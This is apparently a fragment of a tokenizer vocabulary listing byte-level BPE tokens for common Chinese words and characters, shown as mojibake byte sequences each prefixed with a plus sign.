+è¬Ŀ +çĴĢ +çĴ¨ +åĩºå¤Ħ +è¯Ģ +å¾ĺ +å¾Ĭ +羨 +åĸĩ +åıŃ +åĺ² +çķ¸ +å¹²äºĭ +æļ§ +æ²Ľ +åĦĦ +å»ĵ +åİ¿éķ¿ +èĥļ +çIJ¢ +çŃ· +éĩĭ +ä¾® +åIJ© +åĴIJ +åĮ¿ +æĬ¬èµ· +æ³£ +涤 +麽 +æĽĻ +åī¯éĻ¢éķ¿ +åħļåĴĮ +æķ£åıij +润æ»ij +åĵº +æĥ¬ +漫éķ¿ +ä¸įæĩĪ +åŁł +åĹĵ +èĢģçĪ· +讽 +æĪĺç»ĦåIJĪ +æ£ł +åħ¨åŁŁ +èł¢ +诡 +åīįçŀ» +æķĽ +ä¸Ģå°ģ +å¹Ĥ +èİĨ +è¯Ŀè¯Ń +ç»ĨåĪĻ +屿 +åµĮ +éĢį +åĺ± +渲 +çĥ¯ +çĿ¹ +é¦Ĵ +èħ¥ +æĬĹåĩ» +çĿ« +èįĶ +éļİ +æ³īæ°´ +è¬Ĥ +çĤ¬ +åĩıæİĴ +è¸Ĭ +è·» +æ·Į +éľ¾ +å¥ĩ纳 +å¯Ŀ +æ¤İ +æŁ¬ +æĸ¯åŁº +åħ¬ç«ĭ +è¨ĵ +é£Ļ +é©¿ +åĤµ +èĽĻ +ç¯ĩ竳 +åĪĨæĶ¯ +ä¸Ĭå¹´ +çŃĿ +缤 +èĢģæĹ§ +åϬ +æľ¦ +èĥ§ +æ¶Īè²» +æĵĶ +榴 +æ¿Ĵ +糯 +泸 +æįĨ +ç»ļ +èµİ +çIJIJ +èµĤ +æħ® +æ²Į +çĦĻ +æĴŃæĬ¥ +æ·ĩ +åĪĩåħ¥ +çijķ +çĸµ +éģ´ +ç¨ļ +ç©© +èŀĥ +æ£ķ +æĨ§ +æĨ¬ +伺 +æ¯Ĺ +æįį +æĬī +ç´Ĭ +å¼Ľ +æĭŃ +æĹıèĩªæ²» +åĿ· +ç«¶ +詳 +è¿Ħä»Ĭ +è°´ +çŀŃè§£ +æŁ¿ +é¢Ĭ +ç°§ +çĥŁèĬ± +ä¾¥ +çĿ¦ +éħĿ +æ°ĵ +çIJī +å§Ĭ +æ²® +æħ· +èľķ +çijļ +éĩĩçŁ¿ +åł° +åºķèķ´ +èĨ³ +è¾ķ +éŁŃ +åĴĻ +ç²½ +åīĶ +沦 +èĤ´ +éķ¶ +æĺ¼ +è¾Ĺ +婪 +åĮ® +æĸĵ +æ±¶ +éĥ´ +éł» +çªĴ +袱 +åĽ± +èĢĺ +èļĮ +çĭĻ +çĹ¹ +ç¥ī +æı® +æ·Ĩ +ç£ĭ +éĺª +æ« +㸠+϶ +ãij +𣲠+ä¢ +ãŃ +𬨠+ð¬Ģ +𬮠+𬯠+ð¬ľ +𪨠+ð«Ĺ +ð¬Ĭ +𬱠+ð¬Ł +äİ +ð¡ +äĥ +ãł +ð© +𩾠+𬺠+ð¬Ļ +ãĢĶ +ãĢķ +çļĦæĹ¶åĢĻ +æľīéĻIJåħ¬åı¸ +ä¹ĭåIJİ +ä¸ļåĬ¡ +åķĬ +èϽçĦ¶ +æĭ¥æľī +äºĴèģĶç½ij +éĤ£äºĽ +ä½łçļĦ +åĨ³å®ļ +éϤäºĨ +åĽ¢éĺŁ +åı¯æĺ¯ +以åIJİ +社åĮº +çļĦéĹ®é¢ĺ +å¹¶ä¸Ķ +æķĻå¸Ī +å°±ä¼ļ +天空éĥ¨èIJ½ +æľĢç»Ī +å½ĵçĦ¶ +ä¹Łæľī +ç¡®ä¿Ŀ +æĥ³è¦ģ +è´Ńä¹° +人çļĦ +åIJ´ +çļĦåıijå±ķ +ä¸įçŁ¥éģĵ +软件 +æĪij们çļĦ +çζæ¯į +åīij +èĢĮæĺ¯ +å®īæİĴ +åIJİæĿ¥ +çļĦåľ°æĸ¹ +èµµ +èĢĥè¯ķ +çªģçĦ¶ +ä¸Ģå®ļè¦ģ +åĪ¶ä½ľ +è¯Ħä»· +åħįè´¹ +è´¹ç͍ +绣ä¸Ģ +çĦ¶èĢĮ +è¿Ļ次 +éĿĴå¹´ +人类 +亦 +让人 +è´Łè´£äºº +éĩĩåıĸ +çļĦäºĭæĥħ +ä¹Łä¼ļ +车è¾Ĩ +æĽ´æĺ¯ +强åĮĸ +æĪijåĢij +以åīį +ä¼ĺåĮĸ +å§Ķåijĺä¼ļ +åĽ°éļ¾ +年度 +ä½įäºİ +æĮĩåĩº +åĨῬ¡ +åĬŀçIJĨ +æ¯ı个 +对æĸ¹ +è¿Ľè¡ĮäºĨ +æľĢé«ĺ +课ç¨ĭ +身ä¸Ĭ +æĽ¾ç»ı +åĮ»çĶŁ +å®īè£ħ +æľ± +è¿IJè¡Į +åıĮæĸ¹ +æľĢ大çļĦ +æŀĦ建 +è¿ŀç»Ń +çļĦå°ı +她çļĦ +çŃīçŃī +æĶ¹åĸĦ +åIJĦç±» +éģĩåΰ +æľīçĿĢ +人çī© +æĢ»æĺ¯ +è¿ħéĢŁ +åζå®ļ +å®ĥ们 +å®ĺç½ij +è¿ĺè¦ģ +ç»Īäºİ +æĪ¿åľ°äº§ +è¯ģæĺİ +èĤ¡ç¥¨ +åºĶå½ĵ +èĭ±åĽ½ +è¿IJç͍ +æľĢæĸ° +享åıĹ +让æĪij +æĻļä¸Ĭ +å¾ŀ +å°ı说 +å°¤åħ¶æĺ¯ +è®Ńç»ĥ +åħ¨å¸Ĥ +æĮijæĪĺ +æľīçĤ¹ +带çĿĢ +çļĦä¸ľè¥¿ +é£İæł¼ +é»Ħéĩij +å¼ķ导 +æŃ¤å¤ĸ +æľĢè¿ij +追æ±Ĥ +强è°ĥ +ä¹Łåı¯ä»¥ +æĦŁåΰ +èĩªæĪij +çī¹åĪ«æĺ¯ +æĪIJéĥ½ +éĢIJæ¸IJ +å¿«ä¹IJ +ä¹ĭä¸Ń +æĬķèµĦèĢħ +ä»ĸ们çļĦ +æ°ı +å·¥ä½ľäººåijĺ +äºĨä¸Ģ个 +åķ¦ +ä¸ĢåĢĭ +åŁºå±Ĥ +æ²ŁéĢļ +第ä¸Ģ次 +并没æľī +çļĦå·¥ä½ľ +åľ¨è¿ĻéĩĮ +æŀª +æĶ¯æĴij +æĹ¶å°ļ +æĿ¥åΰ +æĶ¶è´Ń +éĿ©åij½ +æĺ¯ä¸įæĺ¯ +讨论 +ä¸ļ绩 +å°±èĥ½ +ç«ĭåį³ +è¡Ĺéģĵ +åľ¨ä¸Ģèµ· +æľĪ份 +é«ĺ端 +å¾Īéļ¾ +ä¿Ħç½Ĺæĸ¯ +æīĭ段 +åģļåĩº +ä¼Ĺå¤ļ +å®ŀè¡Į +æīĵå¼Ģ +游客 +ä¾ĿçĦ¶ +å°±åĥı +离å¼Ģ +说éģĵ +æĸ°èĥ½æºIJ +溪 +äºķ +令人 +ä¸Ģåľº +æĪijæĥ³ +两人 +èĩ³å°ij +çļĦçĶŁæ´» +æĺ¯ä¸ª +èĭ±è¯Ń +æ²Ĵæľī +æĢĿèĢĥ +éĻIJåζ +åı°æ¹¾ +ä¸ĢæĹ¦ +çļĦä¸Ģ个 +é«ĺ级 +åĬŀåħ¬å®¤ +å¾·åĽ½ +æĪijå°± +å®ļä½į +éĢĤåºĶ +æĮĩæłĩ +åħ¨çľģ +ä¸Ĭè¿° +å®ĥçļĦ +åĽŀå®¶ +欧洲 +éĵģè·¯ +é¼ĵåĬ± +çļĦå½±åĵį +é«ĺæł¡ +天ä¸ĭ +é«ĺè´¨éĩı +æĿŃå·ŀ +èµĦ讯 +æĶ¾åľ¨ +æľīä¸Ģ个 +å°±è¦ģ +ä¸ĬéĿ¢ +è§£éĩĬ +éĢIJæŃ¥ +尽管 +æľīä»Ģä¹Ī +çļĦäºĭ +çĻ»è®° +人æ°ijå¸ģ +è§Ĥä¼Ĺ +è§Ĥå¯Ł +ç͵èĦij +çļĦåIJĮæĹ¶ +ä½ľä¸ļ +宣å¸ĥ +çļĦä½ľç͍ +åĽŀæĿ¥ +éļ¾ä»¥ +æīĢæľīçļĦ +å°ıåѦ +æıIJåīį +æ¤įçī© +åĩ¯ +ä¸ĬäºĨ +å°±åľ¨ +åħĪåIJİ +æīĭæľ¯ +éĥŃ +éĿ¢åīį +æ¯ķ竣 +äºĮæĺ¯ +红èī² +éĺ³åħī +èĭ¹æŀľ +å¾Īå¤ļ人 +ç»ĻæĪij +åĵ¦ +çľ¼çĿĽ +éłŃ +ä¸Ģæĺ¯ +åıijå±ķçļĦ +åıįåºĶ +æĪ¿å±ĭ +æľŁå¾ħ +ç§įæ¤į +æĸĩåѦ +åį³åı¯ +é¦ĸ次 +èĭ±éĽĦ +å¤ļ次 +åĮħè£ħ +æ²³åįĹ +ä¹ĭéĹ´çļĦ +ä»įçĦ¶ +åIJ¬åΰ +èij£äºĭéķ¿ +è§ĦåĪĻ +ä¸Ģ份 +大ä¼Ĺ +使å¾Ĺ +è¿Ľåı£ +ä¸Ģçīĩ +æĢ§çļĦ +çļĦ大 +æĪijæĺ¯ +äºĴåĬ¨ +æ°£ +çļĨ +åħ¬åı¸çļĦ +ä¸Ģè¾¹ +åıĬåħ¶ +èī¯å¥½çļĦ +æĭĵå±ķ +å½ĵå¹´ +å¹¿åľº +åģļäºĨ +åŁºäºİ +æıIJéĨĴ +åħĦå¼Ł +èĢģæĿ¿ +è¿ijæĹ¥ +çĬ¶åĨµ +注éĩį +åĪļåĪļ +è°ĥçłĶ +å¿ĥä¸Ń +æĬĬæı¡ +éļıåIJİ +ä¸įå¤Ł +åĪĽä½ľ +ç«Ļåľ¨ +缸äºĴ +çĸ«æĥħéĺ²æİ§ +年代 +带åĬ¨ +伤害 +竣çĦ¶ +å¼ķè¿Ľ +累计 +让æĪij们 +åĽŀæĶ¶ +æĬ¥åIJį +åĬ©åĬĽ +èģĶ缣 +çŃĸçķ¥ +åij¨è¾¹ +åĭĴ +è¿ĺåľ¨ +æµģéĩı +寻æī¾ +ç͵åĬĽ +èιèζ +è¿ĺèĥ½ +æĭħä»» +çļĦæĥħåĨµä¸ĭ +çļĦåİŁåĽł +缺ä¹ı +çIJĥåijĺ +å²ģçļĦ +çĶ·åŃIJ +å·¥èµĦ +è¿ijå¹´æĿ¥ +åijĢ +æıIJä¾ĽäºĨ +她们 +å®¶åħ· +çĩķ +è½»æĿ¾ +æł¡åĽŃ +èĢĥæł¸ +åį±éĻ© +åħļç»Ħç»ĩ +æĢ»ç»ıçIJĨ +çļĦæĸ° +çİ»çĴĥ +è¿Ļä½į +对æŃ¤ +家人 +çļĦè¦ģæ±Ĥ +温度 +æĮĩæķ° +缴åΰ +æŃ¤æĹ¶ +æ¹ĸåįĹ +éĥ½è¦ģ +ä½ľåĩº +åIJĦä½į +èĢĥçĶŁ +ä¾Ŀæį® +说è¯Ŀ +æĪijä¹Ł +å·¥åİĤ +åıĺæĪIJ +ä»ĸ人 +æĪijè§īå¾Ĺ +åIJĦ级 +ä¼łå¥ĩç§ģæľį +ä¸Ĭåįĩ +好åĥı +åĬłéĢŁ +äºĮåįģ +è¢ģ +è£ħ饰 +éĥ½èĥ½ +ä¸Ģå¼ł +åĬ¨æĢģ +å¹´çļĦ +è¿Ļå°±æĺ¯ +ä¹Łè¦ģ +èµĦæł¼ +æĪĺäºī +æĦŁè°¢ +åŁ¹èĤ² +天æ°Ķ +女士 +åı¯èĥ½ä¼ļ +çļĦ产åĵģ +ä¹Łå°± +主è¦ģæĺ¯ +åĪºæ¿Ģ +ç»Ļä½ł +大æķ°æį® +åĮ»åѦ +åΤæĸŃ +ä»ĸ说 +表æ¼Ķ +äºļæ´² +ä¸ĵé¢ĺ +ç«ŀäºīåĬĽ +éĤ£æł· +å±ķå¼Ģ +å¹³æĹ¶ +æİ¥ä¸ĭæĿ¥ +æī¿è¯º +æ³ķåĽ½ +åħ³å¿ĥ +ä¼ļæľī +éĤĢ请 +é¢Ħéĺ² +对æİ¥ +好äºĨ +åĴ±ä»¬ +çļĦæĦŁè§ī +æĢĿè·¯ +éĥ½æ²¡æľī +çļĦæĸ¹æ³ķ +女åŃIJ +åı¸æ³ķ +è¿ĺä¼ļ +è¶ĬæĿ¥è¶Ĭå¤ļ +åĽłçĤº +æµ·åįĹ +人æķ° +å°Ĩä¼ļ +ä¸ļ主 +é¤IJ饮 +å±ħä½ı +åıijåĩº +è¿ijæľŁ +å¼ķé¢Ĩ +æľºåĻ¨äºº +åĩºæĿ¥çļĦ +çľĭè§ģ +ä¿Ĭ +让ä»ĸ +ä¸įæĥ³ +å·¥ä½ľçļĦ +è¡¥åħħ +æµħ +çī¹å¾ģ +ä¸Ĭå¸Ĥåħ¬åı¸ +ç¾İé£Ł +广西 +æ¯ıä¸Ģ个 +èIJ½åľ° +åĵģç§į +åĴĮè°IJ +å½»åºķ +é«ĺèĢĥ +æĺ¨å¤© +åīįå¾Ģ +çĽijæµĭ +çĻ¾åº¦ +åľ¨ä¸ŃåĽ½ +çļĦéľĢæ±Ĥ +亿ç¾İåħĥ +åŃ¦æľ¯ +æĶ¶åΰ +æĿ¿åĿĹ +ä¸Ģ段 +æŀĦæĪIJ +ä¼ģä¸ļçļĦ +表éĿ¢ +æķ´çIJĨ +ç»ĵå©ļ +人家 +åģľæŃ¢ +åѦç§ij +æĺ¾å¾Ĺ +ä¼ijæģ¯ +é¢ĦæľŁ +æĪĸæĺ¯ +çļĦ主è¦ģ +åºĶ对 +èµ°äºĨ +ä¸ŃéĹ´ +èµ°è¿Ľ +åijĪçݰ +æIJŃéħį +é¹ı +æĺ¯åĽłä¸º +æĥħ绪 +å®ļæľŁ +社ä¼ļ主ä¹ī +çŃī级 +çŁĽçĽ¾ +é£ŀæľº +èĩ³ä»Ĭ +æĶ¶éĽĨ +çļĦæķħäºĭ +åĪĩå®ŀ +å®ŀçݰäºĨ +å½¢æĪIJäºĨ +åįĹæĸ¹ +ä¸ŃåѦ +æµ·æ´ĭ +åIJ¦åĪĻ +æĭįæijĦ +大åѦçĶŁ +åĩºçݰäºĨ +æĦıå¤ĸ +ä¹Łèĥ½ +çļĦèĥ½åĬĽ +åĿIJåľ¨ +åĪĻæĺ¯ +èĢĥå¯Ł +å°Ĭéĩį +éĺ²æŃ¢ +ç´§å¼ł +读书 +åĩºè¡Į +å°±æľī +å±¥è¡Į +çݰ代åĮĸ +åĽ½åĬ¡ +åĽ½åĬ¡éĻ¢ +ç»´ä¿® +åİŁåĪĽ +æĺ¯æĮĩ +ä¼ijéĹ² +çĤ® +æĸ°æĹ¶ä»£ +éĢĻåĢĭ +ä¸įæķ¢ +å®Įç¾İ +ç»ĨèĬĤ +éŃı +èͬèıľ +é¢Ĩ导çıŃåŃIJ +è¶ħ级 +è¡Įæĥħ +人工æĻºèĥ½ +åį°åº¦ +åŁºç¡Ģ设æĸ½ +åıĪæĺ¯ +èį¯çī© +åIJ¸æĶ¶ +åį´æĺ¯ +éĥİ +å¥ĸåĬ± +çļĦæľĭåıĭ +ä¿ĿçķĻ +è§Ħå¾ĭ +æĸ°çĸĨ +è¿ĺåı¯ä»¥ +æİ¥è¿ij +æŃ¤åīį +æī¹åĩĨ +æĢİä¹Īæł· +çļĦä½įç½® +ä¸ĢåĿĹ +æĭĴç»Ŀ +顾客 +ä¹Łåľ¨ +ä¸ĢçĶŁ +éĥ¨éĺŁ +å¹´åīį +æĸ¹éĿ¢çļĦ +å°Ŀè¯ķ +羣æŃ£çļĦ +ç¦ģæŃ¢ +è¿ĺ没æľī +æ°ijçĶŁ +èµ°åIJij +èĦ¸ä¸Ĭ +å½ĵ天 +éĽĨåĽ¢åħ¬åı¸ +çļĦä¸Ģç§į +西æĸ¹ +åĽŀåºĶ +ä¸Ģ声 +常常 +æıIJåΰ +èħ¾è®¯ +æľįè£ħ +为ä½ķ +äºijåįĹ +å°±ç®Ĺ +ä¼łæī¿ +åıįèĢĮ +ä¸ĩåIJ¨ +财产 +å¦Ĥä¸ĭ +æĹ¥åīį +åİŁæľ¬ +æľĢéĩįè¦ģçļĦ +认è¯ģ +ä¸Ģéģĵ +ä¿¡æģ¯åĮĸ +å¾ĹåΰäºĨ +é̲è¡Į +æĪijè¦ģ +éĢļä¿¡ +室åĨħ +èµļéĴ± +æĶ¶èĹı +è§£åĨ³æĸ¹æ¡Ī +æĪ¿äº§ +çĭ¼ +æ´»åĬĽ +ç»ıæµİåıijå±ķ +çŃīå¾ħ +ä¹Łå¾Ī +åĿij +å¾Ī好çļĦ +éļ¾åº¦ +ä¸įå¦Ĥ +人æ°ijæĶ¿åºľ +åĩºåıij +åīįæľŁ +æ¼Ķåijĺ +女çĶŁ +èģļçĦ¦ +审计 +é¢Ħæµĭ +ä¾Ŀæīĺ +äºĶå¹´ +补贴 +æ¸ħæĻ° +éªĤ +çľĭèµ·æĿ¥ +çļĦåŃ©åŃIJ +é¢ijéģĵ +ä½ıå®ħ +éĿ¢åIJij +æľĢä½İ +æĹ¢çĦ¶ +ä¸Ģå¥Ĺ +æķ°åѦ +群ä½ĵ +åĮĹ京å¸Ĥ +å±ħçĦ¶ +æ°ĽåĽ´ +éĢĶå¾Ħ +çļĦåŁºç¡Ģä¸Ĭ +èģĮè´£ +åı¯èĥ½æĺ¯ +åĨĽäºĭ +æĪIJæķĪ +åŃ©åŃIJ们 +计ç®Ĺæľº +赤 +产ä¸ļåıijå±ķ +巨大çļĦ +工人 +çĶŁéķ¿ +éĥ½åı¯ä»¥ +çļĦæľºä¼ļ +èµĦè´¨ +çĹĽèĭ¦ +ç²īä¸Ŀ +å¢ĵ +å¹³å®ī +管éģĵ +è·ŁçĿĢ +é¥®é£Ł +åķĨå®¶ +å¤ļå®¶ +åı¸æľº +åºĶ该æĺ¯ +éĢıéľ² +认å®ļ +è¡Įä¸ļçļĦ +çļĦä¼ģä¸ļ +æ¯ıä¸Ģ +èĮĥåĽ´åĨħ +è¾ĥ大 +è´¤ +å¤§èµĽ +å¤ļäºĨ +鸿 +临åºĬ +åľ¨è¿Ļ个 +çļĦåĨħ容 +éĶĢéĩı +å¾Īå°ij +åŃŁ +ç»´æĮģ +åĴĸåķ¡ +æľ¬åľ° +èī²å½© +å¹¶éĿŀ +èĢĮå·² +温æļĸ +èIJ§ +æĬĵä½ı +èĢĮä¸įæĺ¯ +åĸĬ +çļĦåħ³ç³» +çī©åĵģ +éĤ£æĺ¯ +åĨľäº§åĵģ +è¿ĻæĹ¶ +å©ļå§» +æ°´æŀľ +æĶ¶èİ· +ä»ĺåĩº +客æĪ·ç«¯ +æ¼Ķåĩº +åħ¨æĸ° +è¿Ļä¹Łæĺ¯ +æĺ¯çͱ +è§Ĥ念 +æľī个 +éĢłåŀĭ +èĥľåĪ© +ä¸īæĺ¯ +è¶ħå¸Ĥ +åħļå»ºå·¥ä½ľ +æĶ¾å¿ĥ +线路 +æĭĽçĶŁ +åIJĥé¥Ń +è½ī +å°½éĩı +è§ģåΰ +åIJĮæ¯Ķå¢ŀéķ¿ +åįİ为 +æĪijå¸Ĥ +æıIJåĩºäºĨ +æ°ijèѦ +åįļçī© +åįļçī©é¦Ĩ +è¯ļä¿¡ +åīįéĿ¢ +山西 +è¾ħåĬ© +转移 +æĽ´ä¸º +丰å¯ĮçļĦ +åᢠ+å¿«éĢĴ +æĺ¾èijĹ +çī©èµĦ +åĪ°è¾¾ +æľīåĪ©äºİ +åijĨ +åŃ©åŃIJçļĦ +ä¸įä½Ĩ +çłĶç©¶éĻ¢ +çͳæĬ¥ +æļ¨ +æ°ijéĹ´ +åį» +çļĦå£°éŁ³ +å¸ĤåľºçļĦ +ä¸Ģåı¥ +çľģ级 +æĿ¥çļĦ +åĵªä¸ª +æīįä¼ļ +åĪĨéħį +èĶ¡ +ä»ĸåľ¨ +åħ±æľī +å¡ĺ +èĴĤ +éľį +åıĤè§Ĥ +ä¸Ī夫 +ä¾ĿéĿł +æľīæĹ¶ +äºĨå¾Īå¤ļ +ä¸ĸçķĮæĿ¯ +å®¶æĹı +ä¸įéľĢè¦ģ +大å¸Ī +èŀįåħ¥ +éĿŀæ³ķ +çĹħ人 +åIJİæľŁ +大家éĥ½ +ç½ijåĿĢ +åİŁæĸĻ +ä¾¿å®ľ +æ¶Ľ +ä»¿ä½Ľ +å·®è·Ŀ +åı¦ä¸Ģæĸ¹éĿ¢ +产åĵģçļĦ +赫 +æĥħåĨµä¸ĭ +éĴ¢éĵģ +æľ¬ç«Ļ +纳åħ¥ +å·²æľī +æľī没æľī +估计 +é£ĺ +æľŁè´§ +åĢĭ人è³ĩæĸĻ +ä¸ĵä¸ļçļĦ +çĪĨåıij +èĩ´åĬĽäºİ +çİ°åľ¨çļĦ +æľīåĵªäºĽ +çł´åĿı +æķ°åŃĹåĮĸ +åľ°éĿ¢ +é»ijèī² +å¹¼åĦ¿åĽŃ +çļĦç²¾ç¥ŀ +äºŃ +导æ¼Ķ +çݰæľī +æŃ¦åύ +èĭıå·ŀ +çİĦ +æ±Łè¥¿ +延伸 +论æĸĩ +è¾ĥ为 +çİ©æ³ķ +é¼İ +åIJĮæŃ¥ +éĩĬæĶ¾ +æĽĿåħī +åĿļåĨ³ +å§Ķæīĺ +å°Ĩåľ¨ +äºĪ以 +ä½ľæĸĩ +èĢĮåľ¨ +ä¼ĺåħĪ +åĽŀåİ» +ä¿®å¤į +åĽ½åĨħå¤ĸ +çŃĸåĪĴ +åıijæĶ¾ +å¿ĥæĥħ +çļĦåİĨåı² +éĿ¢è¯ķ +举åĮĹ +ä¿¡åı· +ç²®é£Ł +è¯ģ书 +æŁIJäºĽ +è¿IJä½ľ +åĨ²åĩ» +çĥŃçĤ¹ +æĹ¶æĹ¶ +æĹ¶æĹ¶å½© +åľ°çĤ¹ +ä¸Ģä½ĵåĮĸ +éļ¾é¢ĺ +æĽ° +ç«ĭåĪ» +æĺ¯éĿŀ常 +åħ±åĴĮ +åħ±åĴĮåĽ½ +æ¿ĢåĬ± +æľīæķĪçļĦ +å¤Ħç½® +该åħ¬åı¸ +æ£ĢéªĮ +èѦæĸ¹ +è´¾ +äºĨä¸Ģä¸ĭ +ä»ĬåIJİ +çħ® +ç͍åĵģ +读èĢħ +æĪijåľ¨ +åĽŀå¤į +ä¸Ģ座 +è¿ĺ没 +å®ļåζ +没æĥ³åΰ +夹 +ä¼łéĢĴ +ä¸Ģ款 +强大çļĦ +çļĦè¡Į为 +å¤ı天 +åıijåĬ¨æľº +é¢ĨåŁŁçļĦ +å®ŀéªĮ室 +ä¸ĢæĬĬ +æĺ¯ä¸ºäºĨ +éĻķ西 +æĭħä¿Ŀ +è¾¾æĪIJ +è¦ģæĺ¯ +æĺİ天 +ç»Ļä»ĸ +建ç«ĭäºĨ +ä¸įè¡Į +ä¸Ńæĸĩ +åľ°è¯´ +åIJİçļĦ +çĽijæİ§ +é̏ +æĢ»éĥ¨ +æľ¬æĸĩ +鹿 +æĻ¯è§Ĥ +çļĦ缮æłĩ +èĽĩ +åĨ¯ +ä¸ŃåĮ» +æķĪåºĶ +产éĩı +åŃĿ +è´¦æĪ· +è¿Ŀåıį +èij£äºĭä¼ļ +äº¬ä¸ľ +责任ç¼ĸè¾ij +åķıé¡Į +çαå¿ĥ +èŃ¦å¯Ł +é¤IJåİħ +å¸ĤæĶ¿åºľ +天天 +æĸ°é²ľ +éĥijå·ŀ +è¶ħè¶Ĭ +å½Ń +çŁ¥è¯Ĩ产æĿĥ +åĽŀå¿Ĩ +路线 +å»īæ´ģ +éĿĴå°ijå¹´ +åıĸå¾ĹäºĨ +çľĭåΰäºĨ +馬 +ç²¾åĵģ +åľ°éĵģ +æĮģæľī +ä¸ĭäºĨ +æľīæĹ¶åĢĻ +ä¸Ģ人 +æĴĴ +ä»Ķç»Ĩ +èĢģåħ¬ +äºĭå®ŀä¸Ĭ +èģĶèµĽ +ä¾ĽåºĶéĵ¾ +é¢Ħç®Ĺ +åζéĢłä¸ļ +å®īåħ¨çĶŁäº§ +俱ä¹IJ +俱ä¹IJéĥ¨ +çļĦæł¸å¿ĥ +æīĵç®Ĺ +å½±çīĩ +æIJŃ建 +ä¹Łä¸įä¼ļ +æĭħå½ĵ +å±ĤéĿ¢ +åѦåijĺ +临æĹ¶ +缸ç»ĵåIJĪ +对æ¯Ķ +ä»ĸæĺ¯ +æĸ°åĮº +è¿Ľåİ» +çϾ年 +ä¿© +尽快 +ç͵åŃIJåķĨåĬ¡ +æĽ´æľī +æ¸ħçIJĨ +åı¦ä¸Ģ个 +åĤ» +ä»Ģä¹Īæł·çļĦ +æĺ¯æľĢ +åij¨å¹´ +å¾Ī容æĺĵ +åĽ¢ç»ĵ +ç´Ħ +æĹ©å·² +çļĦåıĺåĮĸ +éľŀ +æĹ¥ä¸ĬåįĪ +失åİ» +ä¸Ńåľĭ +çļĦä¸ĢäºĽ +å°ıåŃ© +ä¸ĭè·Į +éĶ»çĤ¼ +éij +éij« +å¿ĹæĦ¿èĢħ +èĤ¡å¸Ĥ +èµĽäºĭ +许åı¯è¯ģ +åı¯æĮģç»Ń +åijĬè¯īè®°èĢħ +éĢ»è¾ij +å¼ķåħ¥ +çļĦè¿ĩç¨ĭä¸Ń +è§Ĩè§ī +èĩªæ²»åĮº +è¯ģæį® +è£ħç½® +第ä¸īæĸ¹ +å¹´æĿ¥ +å¹¿ä¸ľçľģ +带æĿ¥äºĨ +éķ¿æ±Ł +访éĹ® +å·®ä¸įå¤ļ +æĺ¯æĪij +éģŃéģĩ +æĬĵ好 +é«ĺè¾¾ +å¹¶åľ¨ +èĩªè§ī +ä¾ĽåºĶåķĨ +æĥħæĦŁ +ä½ıäºĨ +çļĦèģĮä¸ļ +çļĩå¸Ŀ +西éĥ¨ +åĴĮå¹³ +çļĦåĬĽéĩı +汪 +åħħåĪĨåıijæĮ¥ +æĬķè¯ī +èµ·åΰ +äºĴ缸 +æ¾³éŨ +æİ¥åΰ +æ°´æ³¥ +模åŀĭ +ä¸ĢåįĬ +ç§©åºı +æĪijä»¬åľ¨ +æī¿è®¤ +ä¸Ģéĥ¨åĪĨ +åįłæ¯Ķ +å¦ĩ女 +ç²ĺ +äºĨè§£åΰ +ä¸Ģå®ļä¼ļ +åIJĦ大 +èµ°åĩº +为大家 +é«ĺéĵģ +åı¯ä»¥åľ¨ +ä½Ĩåľ¨ +çĶŁæĢģçݯå¢ĥ +èı¯ +çļĦä»·æł¼ +麻çĥ¦ +æ¿Ģåıij +éĤ£å°± +çļĦæł·åŃIJ +为æŃ¤ +å¤©åľ° +çļĦ缮çļĦ +åĢºåΏ +å·²ç¶ĵ +åĽĽå¤§ +åIJĮæĹ¶ä¹Ł +å½¼æŃ¤ +æĭ¿åΰ +åIJ«éĩı +åįģ大 +éļ¾éģĵ +å¼Ĺ +ä¸Ģ段æĹ¶éĹ´ +çħ§é¡¾ +æķ°æį®æĺ¾ç¤º +æĪIJ为äºĨ +èµ°åΰ +æľ¬åħ¬åı¸ +ç»Ī端 +ä¹Łä¸įæĺ¯ +头åıij +大约 +é£İæĻ¯ +æ¶ĪèĢĹ +å®¡æŁ¥ +äºīåıĸ +æ³ķæ²» +äºĭçī© +ç¼ĵè§£ +æĥ¨ +缸åºĶçļĦ +çļĦæķĪæŀľ +åıįå¤į +åıijçĶŁäºĨ +éĢĻäºĽ +ç»ĥä¹ł +åݨæĪ¿ +å¼Ģæĭĵ +欣èµı +夫妻 +ä¸įä¸Ģæł· +产èĥ½ +èĬ¯çīĩ +è¦ģç´ł +åıį对 +çİĩåħĪ +è´§çī© +æĹ¥ç͵ +ä½ľå®¶ +æĶ¹è¿Ľ +æĪIJåĪĨ +åĽłèĢĮ +åĩıèĤ¥ +æ½ĺ +å±±ä¸ľçľģ +åĬĿ +åŁĭ +æŃ¦è£ħ +æ±ĩæĬ¥ +ä¸Ģ个æľĪ +çĥŃéŨ +大éģĵ +æ´»åĭķ +éĥ½å¾Ī +çĶµæ¢¯ +ç´§æĢ¥ +åĢºåĬ¡ +客æľį +ä¸Ģéĥ¨ +ä½łæĺ¯ +çݰçĬ¶ +æŃ£ç¡®çļĦ +ä¹ĭå¤Ħ +ç¼ĸåζ +ä½łåı¯ä»¥ +çŃīåľ° +èİī +对è¯Ŀ +æ·ĺå®Ŀ +è°ĥèĬĤ +æİĴæĶ¾ +åºĵåŃĺ +ç´ļ +çļĦä¼ĺåĬ¿ +æĿĥå¨ģ +以ä¸ĭç®Ģç§° +ä¸Ģ项 +èģļéĽĨ +ä¼łç»ŁçļĦ +æ··åIJĪ +è¿Ļä¸ĢçĤ¹ +ä¸Ģçľ¼ +æĹłéĻIJ +èİ·å¾ĹäºĨ +éĢīæīĭ +åζåĵģ +åįıä½ľ +çĭ¬çī¹çļĦ +ä¸Ģ级 +è¿Ļ个éĹ®é¢ĺ +æĸĮ +æĺ¯æĪij们 +æķĮ人 +æ¸ħæ´Ĺ +ä¸ĢçĽ´åľ¨ +å°ıç±³ +çļĦè¿ĩç¨ĭ +åľ¨åĮĹ京 +ä¸ĢæĶ¯ +æĹ©ä¸Ĭ +æĸĩèīº +ç¦ıåĪ© +é£Łç͍ +æĦŁåĬ¨ +åħ¨ç¨ĭ +æĶ¯åĩº +æĸ°å»º +å¸ķ +æĺ¾çĦ¶ +羣çļĦæĺ¯ +æĸ°éĹ»ç½ij +èĥ½åIJ¦ +åįıåĬ© +亲èĩª +å¾Īæľī +çϼå±ķ +æĦı大 +æĦı大åĪ© +ç͵ç½ij +æĹ¥çĽĬ +çĨ± +èĤĮèĤ¤ +çĶ·æĢ§ +ç»Ħ建 +çŃīéĹ®é¢ĺ +æ¶ĪéϤ +æĬ¤çIJĨ +å¡ijæĸĻ +ä¹Įåħĭ +ä¹Įåħĭåħ° +åķĨæłĩ +çIJ³ +æĸ°æīĭ 